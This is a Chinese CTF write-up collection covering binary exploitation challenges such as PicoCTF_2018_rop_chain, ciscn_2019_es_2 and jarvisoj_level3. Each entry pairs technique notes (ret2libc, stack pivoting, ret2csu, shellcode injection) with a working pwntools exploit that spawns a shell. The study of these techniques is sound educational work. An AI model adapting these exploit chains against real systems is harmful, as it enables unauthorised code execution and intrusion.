PicoCTF_2018_rop_chain

- 函数参数劫持
- 整数型绕过
\x00绕过len()
- 函数
vuln中存在栈溢出

flag是后门函数,只要满足win1 && win2和a1 = 0xDEADBAAD就可以得到flag

3.win1 & win2存在于.bss段上,但是可以利用win_function1 & win_function2两个函数构造
win1

win2
from pwn import *
#context.log_level = 'debug'
#io = gdb.debug('./PicoCTF_2018_rop_chain','break *080485CB')
io = process('./PicoCTF_2018_rop_chain')
offset = 0x18+4
elf = ELF('./PicoCTF_2018_rop_chain')
payload1 = b'A'*offset+p32(elf.sym['win_function1'])+p32(elf.sym['win_function2'])+p32(elf.sym['flag'])+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
#溢出专跳到`win_function1`初始化win1,再到`win_function2`同时传入覆盖`win_function2`的参数a,最后跳转到`flag`函数相同操作
io.sendlineafter(b'Enter your input>',payload1)
io.interactive()
pwn2_sctf_2016
lib地址泄露

vuln()
-
程序对输入的
v2做了限制首先要利用整数绕过if (v2 > 32)的限制 -
程序中没有现成的
shell所以要通过printf泄露lib手动构造shellfrom pwn import * context.log_level = 'debug' io = process('./pwn2_sctf_2016') #io = gdb.debug('./pwn2_sctf_2016','break *vuln') elf = ELF('./pwn2_sctf_2016') Lib = ELF('/lib/i386-linux-gnu/libc.so.6') printf_got = elf.got['printf'] printf_plt = elf.plt['printf'] vuln_addr = elf.sym['vuln'] main_addr = elf.sym['main'] offset =48 #1.绕过限制 io.sendlineafter('How many bytes do you want me to read?',b'-1') #2.泄露lib payload1 = b'A'*offset+p32(printf_plt)+p32(vuln_addr)+p32(printf_got) io.sendlineafter(b'data!\n',payload1) io.recvuntil('\n') a = io.recv(4) printf_addr = u32(a) print('lib->',hex(printf_addr)) #3.构造shell baseoffset = printf_addr - Lib.symbols['printf'] sys_addr = Lib.sym['system']+baseoffset shell_addr = baseoffset+next(Lib.search(b'/bin/sh')) io.sendlineafter(b'read?',b'-1') payload2 = b'A'*offset+p32(sys_addr)+p32(main_addr)+p32(shell_addr) io.recvuntil(b'data!\n') io.sendline(payload2) io.interactive()
ciscn_2019_es_2

- 栈迁移
read()存在溢出,但是只有0x30个位置不能拿到shell,所以考虑栈迁移- 通过泄露参数
s在栈上的位置,将payload写入栈上 - 迁移栈到参数
s的位置,运行写入的payload拿到shell
leaved =>
mov esp,ebp
pop ebp
#清除栈帧,初始化到执行前的样子
ret =>
pop eip
jmp
#相当于一个无条件转跳

泄露出
s在栈上的偏移地址

完成栈迁移
from pwn import *
#context.log_level = 'debug'
io = process('./ciscn_2019_es_2')
#io = gdb.debug('./ciscn_2019_es_2','break *vul')
elf = ELF('./ciscn_2019_es_2')
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
offset = 0x28
payload1 = b'A'*offset
io.sendafter(b"Welcome, my friend. What's your name?\n",payload1)
io.recvuntil(b'Hello,')
io.recvuntil(b'A'*0x28)
old_ebp = u32(io.recv(4))
s_addr = ebp_addr = old_ebp-0x10-offset
print('old_ebp -> ',hex(old_ebp))
print('s_addr -> ',hex(ebp_addr))
#pause()
payload2 = p32(0)+p32(elf.plt['system'])+p32(0)+p32(s_addr+0x10)+b'/bin/sh\x00' #`\x00`截断
#32位程序中参数在函数的后0x10位置,所以填充p32(0)
payload2 = payload2.ljust(0x28,b'A')
payload2 += p32(s_addr)+p32(0x08048562) #填充满栈空间,用p32(s_addr)+p32(0x08048562)劫持`leave`完成迁移并填充上新的`leave&ret`
io.send(payload2)
io.interactive()
ciscn_2019_s_3
-
ret2csu
在
64位程序中可以通过栈溢出控制__lib_csu_init中的参数来控制rdx,rsi,edi寄存器 -
64位函数传入的参数依次存在寄存器rdi,rsi,rdx (顺序从左到右),返回值存在rax中 -
syscall函数会根据rax的值来调用函数,例如当rax==0x3B时,运行execute -
栈地址泄露
-
ROPgadgets


1.read中存在溢出
2.泄露buf的地址写入/bin/sh
3.通过ROPgadgets得到控制寄存器的地址
4.最后通过ret2csu和syscall构造出excuse('/bin/sh',0,0)得到shell
ret2csu思路:
-
首先跳转到
pop rbx的位置(csu_end),控制一系列寄存器,根据代码可知r13 -> rdx ; r14 -> rsi ; r15 -> edi -
再
retn到mov rdx,r13的位置(csu_font),这里要注意存在call函数,同时,要满足cmp rbx,rbp即$rbx-$rbp==0才继续运行,为了满足条件我们需要在第$1$步中提前布局 -
运行
loc_400596的代码,add rsp,8抬高了栈顶,所以我们填充栈的时候也要注意多填充8个位置,接着是常规的填充,根据需要,不需要则全部填充为0xdeadbeef直到retn回到程序流

泄露栈地址后第二次栈布局如下
| rbp | |||||
|---|---|---|---|---|---|
| 0x10 | padding | 开头为b"/bin/sh\x00"=>buf_addr | |||
| 0x18 | ret | 0x000000000040059A | csu_end | ||
| 0x20 | 0 | rbx | |||
| 0x28 | 1 | rbp | |||
| 0x30 | r12 | bufaddr+0x10 | call的参数 | ||
| 0x38 | 0 | r13 | => rdx | ||
| 0x40 | 0 | r14 | => rsi | ||
| 0x48 | 0 | r15 | => edi | ||
| 0x50 | retn | 0x0000000000400580 | 2csu_font | ||
| 0x58 | 0xdeadbeef | rsp,8 | |||
| 0x60 | rsp | 0xdeadbeef | rbx | ||
| 0x68 | 0xdeadbeef | rbp | |||
| 0x70 | 0xdeadbeef | r12 | |||
| 0x78 | 0xdeadbeef | r13 | |||
| 0x80 | 0xdeadbeef | r14 | |||
| 0x88 | 0xdeadbeef | r15 | |||
| 0x90 | ret | 0x00000000004004E2 | rax = 0x3B | ||
| 0x98 | retn | 0x00000000004005a3 | pop_rdi_addr | ||
| 0x100 | ret | 0x0000000000400517 | syscall |
from pwn import *
context.log_level = 'debug'
io = process('./ciscn_s_3')
#io = gdb.debug('./ciscn_s_3','break *0x00000000004004E2')
elf = ELF('./ciscn_s_3')
padding = 0x10
payload1 = b'A'*padding+p64(elf.sym['vuln'])
io.send(payload1)
io.recv(0x20) #这个偏移主要是gdb看出来的
ebp_addr = u64(io.recv(8))
#print('ebp_addr',hex(ebp_addr))
buf_addr = ebp_addr-0x148 #buu改成-0x118
#print('buf_addr ->',hex(buf_addr))
payload2 =b'/bin/sh\x00'
payload2 = payload2.ljust(0x10,b'\x00')
payload2 += p64(0x000000000040059A)+p64(0)+p64(1)+p64(buf_addr+0x10)+p64(0)+p64(0)+p64(0)+p64(0x0000000000400580)
payload2 += p64(0xdeadbeef)*5+p64(0x00000000004004E2)+p64(0x00000000004005a3)+p64(buf_addr)+p64(0x0000000000400517)
io.send(payload2)
io.interactive()
主要一步步动态调试,理解程序控制流.
ciscn_2019_n_5
- ret2shellcode
- libc泄露


- 程序没有开启
NX保护,并且是RWX权限可以运行段上代码 - 预期解:往
name中写入shellcode,再利用get转跳到相应的.bss段上运行shellcode - 非预期解:通过
get泄露puts()地址,泄露libc地址,劫持程序流得到shell.注意这里64位($rdi)和32位程序传参的不同.
from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())
p=process('./ciscn_2019_n_5')
p.recvuntil(b'name\n')
p.sendline(shellcode)
p.recvuntil(b'me?\n')
name=0x601080
payload=b'a'*0x28+p64(name)
p.sendline(payload)
p.interactive()
from pwn import *
#io = gdb.debug('./ciscn_2019_n_5','b *0x40067a')
context.log_level = 'debug'
io = process('./ciscn_2019_n_5')
#io = gdb.debug('./ciscn_2019_n_5','b main')
elf = ELF('./ciscn_2019_n_5')
Lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
padding = 0x20
#泄露libc
io.sendlineafter('tell me your name\n',b'1')
#padding+pop_rdi+puts_got+puts_plt+main_addr
payload1 = b'A'*0x28+p64(0x0000000000400713)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
io.sendlineafter('What do you want to say to me?\n',payload1)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print('puts_addr ->',hex(puts_addr))
io.sendlineafter('tell me your name\n',b'1')
#payload构造
Liboffset = puts_addr-Lib.sym['puts']
sys_addr = Lib.sym['system']+Liboffset
bin_sh_addr = next(Lib.search(b'/bin/sh'))+Liboffset
payload2 = b'A'*(0x28)+p64(0x0000000000400713)+p64(bin_sh_addr)+p64(0x00000000004004c9)+p64(sys_addr)
io.sendlineafter('What do you want to say to me?\n',payload2)
io.interactive()
ciscn_2019_ne_5

-
32位ROP劫持 -
程序逻辑
-
/bin/sh的替代方案sh -
栈上覆盖
-
ROPgadgets查找字符串
GetFlag函数
1.
GetFlag函数中把先前AddLog中加入的src变量赋给了dest,这里存在溢出2.
Print函数中有system函数,通过plt_system利用3.通过
ROPgadgets得到sh字符串构造payload得到shell
bamuwe@qianenzhao:~/done/ciscn_2019_ne_5$ ROPgadget --binary ciscn_2019_ne_5 --string 'sh'
Strings information
============================================================
0x080482ea : sh
| administer | ||||
|---|---|---|---|---|
| 1 | ||||
| payload1 | padding | 0x4C | dest | |
| (padding+leave) | ||||
| system_plt_addr | ret | system | ||
| 0xdeadbeef | ||||
| sh | 0x080482ea |
from pwn import *
context.log_level = 'debug'
elf = ELF('./ciscn_2019_ne_5')
io = process('./ciscn_2019_ne_5')
#io = gdb.debug('./ciscn_2019_ne_5','break *080486C7')
io.sendlineafter(b'Please input admin password:',b'administrator')
io.sendlineafter(b':\n',b'1')
payload1 = b'A'*0x4C+p32(elf.sym['system'])+p32(0xdeadbeef)+p32(0x080482ea) #不能用p32(0)替代p32(deadbeef)
io.sendlineafter(b'Please input new log info:',payload1)
io.sendlineafter(b':\n',b'4')
io.interactive()
bjdctf_2020_babyrop

-
64位泄露libc -
vuln的buf变量存在溢出 -
64位函数传入的参数依次存在寄存器rdi,rsi,rdx (顺序从左到右),返回值存在rax中bamuwe@qianenzhao:~/done/bjdctf_2020_babyrop$ ROPgadget --binary bjdctf_2020_babyrop --only 'pop|ret'|grep rdi 0x0000000000400733 : pop rdi ; ret- 溢出泄露
libc - 构造
payload拿到shell
- 溢出泄露
| rbp | ||||
|---|---|---|---|---|
| padding | 0x20 | |||
| leave | 0x8 | |||
| pop_rdi | ret | 0x0000000000400733 | ||
| puts_got | pop rdi | |||
| puts_plt | ret | |||
| main_addr | ret |
payload1
| rbp | ||||
|---|---|---|---|---|
| padding | 0x20 | |||
| leave | 0x8 | |||
| pop_rdi | ret | 0x0000000000400733 | ||
| /bin/sh` | pop rdi | |||
| system | ret |
payload2
from pwn import *
from LibcSearcher import LibcSearcher
io = process('./bjdctf_2020_babyrop')
#io = remote('node4.buuoj.cn',29488)
elf = ELF('./bjdctf_2020_babyrop')
payload1 = b'A'*0x28+p64(0x0000000000400733)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
io.sendlineafter(b'Pull up your sword and tell me u story!\n',payload1)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print('puts_addr->',hex(puts_addr))
Lib = LibcSearcher('puts',puts_addr)
baseoffset = puts_addr - Lib.dump('puts')
sys_addr = baseoffset + Lib.dump('system')
bin_sh_addr = baseoffset + Lib.dump('str_bin_sh')
payload2 = b'A'*0x28+p64(0x0000000000400733)+p64(bin_sh_addr)+p64(sys_addr)
io.sendlineafter(b'Pull up your sword and tell me u story!\n',payload2)
io.interactive()
jarvisoj_level3

-
函数参数劫持
-
32位泄露libc32位程序的传参是栈的后四位开始,要注意的是,32位下write,put的ret位置是紧跟函数后面的payload1 = b'A'*(0x88+0x4)+p32(elf.plt['write'])+p32(elf.sym['main'])+p32(1)+p32(elf.got['write'])+p32(4)这段代码中的p32(elf.sym['main'])就是ret,同时满足填充栈,传入参数
| rbp | |||
|---|---|---|---|
| padding | 0x88 | ||
| leave | 0x4 | ||
| write_plt | ret | ||
| main_addr | ret_l | 返回的地址 | |
| 0x1 | arg1 | ||
| wirte_got | arg2 | ||
| 0x4 | arg3 |
payload1
| rbp | |||
|---|---|---|---|
| padding | 0x88 | ||
| leave | 0x4 | ||
| system_addr | ret | ||
| 0xdeadbeef | |||
| bin_sh_addr | aeg1 |
payload2
from pwn import *
#context.log_level = 'debug'
io = process('./level3')
#io = gdb.debug('./level3','break main')
elf = ELF('./level3')
Lib = ELF('/lib/i386-linux-gnu/libc.so.6')
payload1 = b'A'*(0x88+0x4)+p32(elf.plt['write'])+p32(elf.sym['main'])+p32(1)+p32(elf.got['write'])+p32(4)
io.sendline(payload1)
io.recvuntil('Input:\n')
write_addr = u32(io.recv(4))
print('write_addr->',hex(write_addr))
baseoffset = write_addr - Lib.sym['write']
sys_addr = baseoffset + Lib.sym['system']
bin_sh_addr = baseoffset + next(Lib.search(b'/bin/sh'))
payload2 = b'A'*(0x88+0x4)+p32(sys_addr)+p32(0xdeadbeef)+p32(bin_sh_addr)
io.sendlineafter(b'Input:\n',payload2)
io.interactive()
铁人三项(第五赛区)_2018_rop
-
函数参数劫持
-
32位泄露libc
from pwn import *
context.log_level = 'debug'
#io = gdb.debug('./2018_rop','break *0x8048474')
io = process('./2018_rop')
elf = ELF('./2018_rop')
Lib = ELF('/lib/i386-linux-gnu/libc.so.6')
padding = 0x88
payload1 = b'A'*(padding+0x4)+p32(elf.plt['write'])+p32(elf.sym['main'])+p32(1)+p32(elf.got['write'])+p32(4)
io.sendline(payload1)
write_addr = u32(io.recv(4))
print('write_addr -> ',hex(write_addr))
Liboffset = write_addr - Lib.sym['write']
sys_addr = Liboffset + Lib.sym['system']
bin_sh_addr = next(Lib.search(b'/bin/sh'))+Liboffset
payload2 = b'A'*(padding+0x4)+p32(sys_addr)+p32(0xdeadbeef)+p32(bin_sh_addr)
io.sendline(payload2)
io.interactive()
ez_pz_hackover_2016
bamuwe@qianenzhao:~$ checksec ez_pz_hackover_2016
[*] '/home/bamuwe/ez_pz_hackover_2016'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments


- 逻辑绕过
\x00阶段- 动态调试计算栈空间
ret2shellcode
- 栈保护全关,考虑
ret2shellcode - 通过
\x00绕过前置验证,进入vuln函数 vuln函数中,会把&src赋值给dest这其中存在漏洞
正常思路这里就可以构造payload了,但是这里ida分析出来的dest栈空间为0x32与实际不符合,我们需要动态调试手动查看栈空间

停在
nop处查看栈


手动查找得到栈实际空间为
0x1a
distance计算栈之间的距离
from pwn import *
context.log_level = 'debug'
#io = process('./ez_pz_hackover_2016')
io = gdb.debug('./ez_pz_hackover_2016','break vuln')
elf = ELF('./ez_pz_hackover_2016')
io.recvuntil(b'Yippie, lets crash: ')
s_addr = int(io.recv(10),16)
print('s_addr',hex(s_addr))
payload1 = b'crashme\x00'
payload1 = payload1.ljust(0x1a,b'A')
payload1 += p32(s_addr-0x1c)+asm(shellcraft.sh())
io.sendlineafter('> ',payload1)
io.interactive()
s栈上的空间写不下shellcode所以直接把shellcode写在ret地址之后.
?这里的
s_addr为什么要-0x1c还不了解,偏移后的位置正好是一个输入的栈的起始但为什么是这个值还不清楚.
这道题应该也可以通过泄露Libc的方式做,但是没有成功